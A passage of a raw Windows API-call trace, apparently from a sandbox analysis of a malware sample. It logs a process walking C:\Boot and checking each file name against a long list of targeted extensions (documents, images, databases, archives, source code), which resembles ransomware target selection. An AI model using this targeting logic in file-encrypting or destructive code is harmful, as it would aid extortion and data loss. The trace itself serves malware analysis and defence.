lpString2="BCD") returned -1 [0089.065] lstrlenW (lpString=".r3d") returned 4 [0089.065] lstrcmpiW (lpString1=".r3d", lpString2="$BCD") returned 1 [0089.065] lstrlenW (lpString=".raf") returned 4 [0089.065] lstrcmpiW (lpString1=".raf", lpString2="$BCD") returned 1 [0089.065] lstrlenW (lpString=".rar") returned 4 [0089.066] lstrcmpiW (lpString1=".rar", lpString2="$BCD") returned 1 [0089.066] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0089.066] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0089.066] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0089.066] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0089.066] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4263e68 [0089.067] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42604d0 [0089.067] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.067] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0089.068] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0089.068] FindClose (in: hFindFile=0x42604d0 | out: hFindFile=0x42604d0) returned 1 [0089.068] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4263e68 | out: hHeap=0x440000) returned 1 [0089.068] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0089.068] lstrlenW (lpString="bootspaces.dll") returned 14 [0089.068] lstrlenW (lpString=".1cd") returned 4 [0089.068] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.068] lstrlenW (lpString=".3ds") returned 4 [0089.068] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0089.068] lstrlenW (lpString=".3fr") returned 4 [0089.068] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0089.068] lstrlenW (lpString=".3g2") returned 4 [0089.068] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0089.068] lstrlenW (lpString=".3gp") returned 4 [0089.068] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0089.068] lstrlenW (lpString=".7z") returned 3 [0089.068] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.068] lstrlenW (lpString=".accda") returned 6 [0089.069] lstrcmpiW (lpString1=".accda", lpString2="es.dll") returned -1 [0089.069] lstrlenW (lpString=".accdb") returned 6 [0089.069] lstrcmpiW (lpString1=".accdb", lpString2="es.dll") returned -1 [0089.069] lstrlenW (lpString=".accdc") returned 6 [0089.069] lstrcmpiW (lpString1=".accdc", lpString2="es.dll") returned -1 [0089.069] lstrlenW (lpString=".accde") returned 6 [0089.069] lstrcmpiW (lpString1=".accde", lpString2="es.dll") returned -1 [0089.069] lstrlenW (lpString=".accdt") returned 6 [0089.069] lstrcmpiW (lpString1=".accdt", lpString2="es.dll") returned -1 [0089.069] lstrlenW (lpString=".accdw") returned 6 [0089.069] lstrcmpiW (lpString1=".accdw", lpString2="es.dll") returned -1 [0089.069] lstrlenW (lpString=".adb") returned 4 [0089.069] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0089.069] lstrlenW (lpString=".adp") returned 4 [0089.069] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0089.069] lstrlenW (lpString=".ai") returned 3 [0089.069] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0089.069] lstrlenW (lpString=".ai3") returned 4 [0089.069] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0089.069] lstrlenW (lpString=".ai4") returned 4 [0089.069] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0089.069] lstrlenW (lpString=".ai5") returned 4 [0089.070] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0089.070] lstrlenW (lpString=".ai6") returned 4 [0089.070] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0089.070] lstrlenW (lpString=".ai7") returned 4 [0089.070] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0089.070] lstrlenW (lpString=".ai8") returned 4 [0089.070] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0089.070] lstrlenW (lpString=".anim") returned 5 [0089.070] lstrcmpiW (lpString1=".anim", lpString2="s.dll") returned -1 [0089.070] lstrlenW (lpString=".arw") returned 4 [0089.070] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0089.070] lstrlenW (lpString=".as") returned 3 [0089.070] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0089.070] lstrlenW (lpString=".asa") returned 4 [0089.070] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0089.070] lstrlenW (lpString=".asc") returned 4 [0089.070] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0089.070] lstrlenW (lpString=".ascx") returned 5 [0089.070] lstrcmpiW (lpString1=".ascx", lpString2="s.dll") returned -1 [0089.070] lstrlenW (lpString=".asm") returned 4 [0089.070] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0089.070] lstrlenW (lpString=".asmx") returned 5 [0089.070] lstrcmpiW (lpString1=".asmx", lpString2="s.dll") returned -1 [0089.070] lstrlenW (lpString=".asp") returned 4 [0089.070] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0089.070] lstrlenW (lpString=".aspx") returned 5 [0089.071] lstrcmpiW (lpString1=".aspx", lpString2="s.dll") returned -1 [0089.071] lstrlenW (lpString=".asr") returned 4 [0089.071] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0089.071] lstrlenW (lpString=".asx") returned 4 [0089.071] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0089.071] lstrlenW (lpString=".avi") returned 4 [0089.071] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0089.071] lstrlenW (lpString=".avs") returned 4 [0089.071] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0089.071] lstrlenW (lpString=".backup") returned 7 [0089.071] lstrcmpiW (lpString1=".backup", lpString2="ces.dll") returned -1 [0089.071] lstrlenW (lpString=".bak") returned 4 [0089.071] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0089.071] lstrlenW (lpString=".bay") returned 4 [0089.071] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0089.071] lstrlenW (lpString=".bd") returned 3 [0089.071] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0089.071] lstrlenW (lpString=".bin") returned 4 [0089.071] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0089.071] lstrlenW (lpString=".bmp") returned 4 [0089.071] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0089.071] lstrlenW (lpString=".bz2") returned 4 [0089.071] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.071] lstrlenW (lpString=".c") returned 2 [0089.071] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0089.071] lstrlenW (lpString=".cdr") returned 4 [0089.072] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0089.072] lstrlenW (lpString=".cer") returned 4 [0089.072] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0089.072] lstrlenW (lpString=".cf") returned 3 [0089.072] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0089.072] lstrlenW (lpString=".cfc") returned 4 [0089.072] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0089.072] lstrlenW (lpString=".cfm") returned 4 [0089.072] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0089.072] lstrlenW (lpString=".cfml") returned 5 [0089.072] lstrcmpiW (lpString1=".cfml", lpString2="s.dll") returned -1 [0089.072] lstrlenW (lpString=".cfu") returned 4 [0089.072] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0089.072] lstrlenW (lpString=".chm") returned 4 [0089.072] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0089.072] lstrlenW (lpString=".cin") returned 4 [0089.072] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0089.072] lstrlenW (lpString=".class") returned 6 [0089.072] lstrcmpiW (lpString1=".class", lpString2="es.dll") returned -1 [0089.072] lstrlenW (lpString=".clx") returned 4 [0089.072] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0089.072] lstrlenW (lpString=".config") returned 7 [0089.072] lstrcmpiW (lpString1=".config", lpString2="ces.dll") returned -1 [0089.072] lstrlenW (lpString=".cpp") returned 4 [0089.072] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0089.072] lstrlenW (lpString=".cr2") returned 4 [0089.073] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0089.073] lstrlenW (lpString=".crt") returned 4 [0089.073] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0089.073] lstrlenW (lpString=".crw") returned 4 [0089.073] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0089.073] lstrlenW (lpString=".cs") returned 3 [0089.073] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0089.073] lstrlenW (lpString=".css") returned 4 [0089.073] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0089.073] lstrlenW (lpString=".csv") returned 4 [0089.073] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0089.073] lstrlenW (lpString=".cub") returned 4 [0089.073] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0089.073] lstrlenW (lpString=".dae") returned 4 [0089.073] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0089.073] lstrlenW (lpString=".dat") returned 4 [0089.073] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0089.073] lstrlenW (lpString=".db") returned 3 [0089.073] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0089.073] lstrlenW (lpString=".dbf") returned 4 [0089.073] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.073] lstrlenW (lpString=".dbx") returned 4 [0089.073] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0089.073] lstrlenW (lpString=".dc3") returned 4 [0089.073] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0089.073] lstrlenW (lpString=".dcm") returned 4 [0089.074] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0089.074] lstrlenW (lpString=".dcr") returned 4 [0089.074] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0089.074] lstrlenW (lpString=".der") returned 4 [0089.074] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0089.074] lstrlenW (lpString=".dib") returned 4 [0089.074] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0089.074] lstrlenW (lpString=".dic") returned 4 [0089.074] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0089.074] lstrlenW (lpString=".dif") returned 4 [0089.074] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0089.074] lstrlenW (lpString=".divx") returned 5 [0089.074] lstrcmpiW (lpString1=".divx", lpString2="s.dll") returned -1 [0089.074] lstrlenW (lpString=".djvu") returned 5 [0089.074] lstrcmpiW (lpString1=".djvu", lpString2="s.dll") returned -1 [0089.074] lstrlenW (lpString=".dng") returned 4 [0089.074] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0089.074] lstrlenW (lpString=".doc") returned 4 [0089.074] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.074] lstrlenW (lpString=".docm") returned 5 [0089.074] lstrcmpiW (lpString1=".docm", lpString2="s.dll") returned -1 [0089.074] lstrlenW (lpString=".docx") returned 5 [0089.074] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0089.074] lstrlenW (lpString=".dot") returned 4 [0089.074] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0089.075] lstrlenW (lpString=".dotm") returned 5 [0089.075] lstrcmpiW (lpString1=".dotm", lpString2="s.dll") returned -1 [0089.075] lstrlenW (lpString=".dotx") returned 5 [0089.075] lstrcmpiW (lpString1=".dotx", lpString2="s.dll") returned -1 [0089.075] lstrlenW (lpString=".dpx") returned 4 [0089.075] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0089.075] lstrlenW (lpString=".dqy") returned 4 [0089.075] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0089.075] lstrlenW (lpString=".dsn") returned 4 [0089.075] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0089.075] lstrlenW (lpString=".dt") returned 3 [0089.075] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0089.075] lstrlenW (lpString=".dtd") returned 4 [0089.075] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0089.075] lstrlenW (lpString=".dwg") returned 4 [0089.075] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0089.075] lstrlenW (lpString=".dwt") returned 4 [0089.075] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0089.075] lstrlenW (lpString=".dx") returned 3 [0089.075] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0089.075] lstrlenW (lpString=".dxf") returned 4 [0089.075] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0089.075] lstrlenW (lpString=".edml") returned 5 [0089.075] lstrcmpiW (lpString1=".edml", lpString2="s.dll") returned -1 [0089.075] lstrlenW (lpString=".efd") returned 4 [0089.075] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0089.076] lstrlenW (lpString=".elf") returned 4 [0089.076] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0089.076] lstrlenW (lpString=".emf") returned 4 [0089.076] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0089.076] lstrlenW (lpString=".emz") returned 4 [0089.076] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0089.076] lstrlenW (lpString=".epf") returned 4 [0089.076] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0089.076] lstrlenW (lpString=".eps") returned 4 [0089.076] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0089.076] lstrlenW (lpString=".epsf") returned 5 [0089.076] lstrcmpiW (lpString1=".epsf", lpString2="s.dll") returned -1 [0089.076] lstrlenW (lpString=".epsp") returned 5 [0089.076] lstrcmpiW (lpString1=".epsp", lpString2="s.dll") returned -1 [0089.076] lstrlenW (lpString=".erf") returned 4 [0089.076] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0089.076] lstrlenW (lpString=".exr") returned 4 [0089.076] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0089.076] lstrlenW (lpString=".f4v") returned 4 [0089.076] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0089.076] lstrlenW (lpString=".fido") returned 5 [0089.076] lstrcmpiW (lpString1=".fido", lpString2="s.dll") returned -1 [0089.076] lstrlenW (lpString=".flm") returned 4 [0089.076] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0089.076] lstrlenW (lpString=".flv") returned 4 [0089.076] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0089.077] lstrlenW (lpString=".frm") returned 4 [0089.077] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0089.077] lstrlenW (lpString=".fxg") returned 4 [0089.077] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0089.077] lstrlenW (lpString=".geo") returned 4 [0089.077] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0089.077] lstrlenW (lpString=".gif") returned 4 [0089.077] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0089.077] lstrlenW (lpString=".grs") returned 4 [0089.077] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0089.077] lstrlenW (lpString=".gz") returned 3 [0089.077] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0089.077] lstrlenW (lpString=".h") returned 2 [0089.077] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0089.077] lstrlenW (lpString=".hdr") returned 4 [0089.077] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0089.077] lstrlenW (lpString=".hpp") returned 4 [0089.077] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0089.077] lstrlenW (lpString=".hta") returned 4 [0089.077] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0089.077] lstrlenW (lpString=".htc") returned 4 [0089.077] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0089.077] lstrlenW (lpString=".htm") returned 4 [0089.077] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0089.077] lstrlenW (lpString=".html") returned 5 [0089.077] lstrcmpiW (lpString1=".html", lpString2="s.dll") returned -1 [0089.078] lstrlenW (lpString=".icb") returned 4 [0089.078] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0089.078] lstrlenW (lpString=".ics") returned 4 [0089.078] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0089.078] lstrlenW (lpString=".iff") returned 4 [0089.078] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0089.078] lstrlenW (lpString=".inc") returned 4 [0089.078] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0089.078] lstrlenW (lpString=".indd") returned 5 [0089.078] lstrcmpiW (lpString1=".indd", lpString2="s.dll") returned -1 [0089.078] lstrlenW (lpString=".ini") returned 4 [0089.078] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0089.078] lstrlenW (lpString=".iqy") returned 4 [0089.078] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0089.078] lstrlenW (lpString=".j2c") returned 4 [0089.078] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0089.078] lstrlenW (lpString=".j2k") returned 4 [0089.078] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0089.078] lstrlenW (lpString=".java") returned 5 [0089.078] lstrcmpiW (lpString1=".java", lpString2="s.dll") returned -1 [0089.078] lstrlenW (lpString=".jp2") returned 4 [0089.078] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0089.078] lstrlenW (lpString=".jpc") returned 4 [0089.078] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0089.078] lstrlenW (lpString=".jpe") returned 4 [0089.078] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0089.079] lstrlenW (lpString=".jpeg") returned 5 [0089.079] lstrcmpiW (lpString1=".jpeg", lpString2="s.dll") returned -1 [0089.079] lstrlenW (lpString=".jpf") returned 4 [0089.079] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0089.079] lstrlenW (lpString=".jpg") returned 4 [0089.079] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.079] lstrlenW (lpString=".jpx") returned 4 [0089.079] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0089.079] lstrlenW (lpString=".js") returned 3 [0089.079] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0089.079] lstrlenW (lpString=".jsf") returned 4 [0089.079] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0089.079] lstrlenW (lpString=".json") returned 5 [0089.079] lstrcmpiW (lpString1=".json", lpString2="s.dll") returned -1 [0089.079] lstrlenW (lpString=".jsp") returned 4 [0089.079] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0089.079] lstrlenW (lpString=".kdc") returned 4 [0089.079] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0089.079] lstrlenW (lpString=".kmz") returned 4 [0089.079] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0089.079] lstrlenW (lpString=".kwm") returned 4 [0089.079] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0089.079] lstrlenW (lpString=".lasso") returned 6 [0089.079] lstrcmpiW (lpString1=".lasso", lpString2="es.dll") returned -1 [0089.079] lstrlenW (lpString=".lbi") returned 4 [0089.079] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0089.079] lstrlenW (lpString=".lgf") returned 4 [0089.080] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0089.080] lstrlenW (lpString=".lgp") returned 4 [0089.080] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0089.080] lstrlenW (lpString=".log") returned 4 [0089.080] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0089.080] lstrlenW (lpString=".m1v") returned 4 [0089.080] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0089.080] lstrlenW (lpString=".m4a") returned 4 [0089.080] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0089.080] lstrlenW (lpString=".m4v") returned 4 [0089.080] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0089.080] lstrlenW (lpString=".max") returned 4 [0089.080] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0089.080] lstrlenW (lpString=".md") returned 3 [0089.080] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0089.080] lstrlenW (lpString=".mda") returned 4 [0089.080] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0089.080] lstrlenW (lpString=".mdb") returned 4 [0089.080] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0089.080] lstrlenW (lpString=".mde") returned 4 [0089.080] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0089.080] lstrlenW (lpString=".mdf") returned 4 [0089.080] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0089.080] lstrlenW (lpString=".mdw") returned 4 [0089.080] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0089.080] lstrlenW (lpString=".mef") returned 4 [0089.081] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0089.081] lstrlenW (lpString=".mft") returned 4 [0089.081] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0089.081] lstrlenW (lpString=".mfw") returned 4 [0089.081] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0089.081] lstrlenW (lpString=".mht") returned 4 [0089.081] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0089.081] lstrlenW (lpString=".mhtml") returned 6 [0089.081] lstrcmpiW (lpString1=".mhtml", lpString2="es.dll") returned -1 [0089.081] lstrlenW (lpString=".mka") returned 4 [0089.081] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0089.081] lstrlenW (lpString=".mkidx") returned 6 [0089.081] lstrcmpiW (lpString1=".mkidx", lpString2="es.dll") returned -1 [0089.081] lstrlenW (lpString=".mkv") returned 4 [0089.081] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0089.081] lstrlenW (lpString=".mos") returned 4 [0089.081] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0089.081] lstrlenW (lpString=".mov") returned 4 [0089.081] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0089.081] lstrlenW (lpString=".mp3") returned 4 [0089.081] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0089.081] lstrlenW (lpString=".mp4") returned 4 [0089.081] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0089.081] lstrlenW (lpString=".mpeg") returned 5 [0089.081] lstrcmpiW (lpString1=".mpeg", lpString2="s.dll") returned -1 [0089.082] lstrlenW (lpString=".mpg") returned 4 [0089.082] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0089.082] lstrlenW (lpString=".mpv") returned 4 [0089.082] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0089.082] lstrlenW (lpString=".mrw") returned 4 [0089.082] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0089.082] lstrlenW (lpString=".msg") returned 4 [0089.082] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0089.082] lstrlenW (lpString=".mxl") returned 4 [0089.082] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0089.082] lstrlenW (lpString=".myd") returned 4 [0089.082] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0089.082] lstrlenW (lpString=".myi") returned 4 [0089.082] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 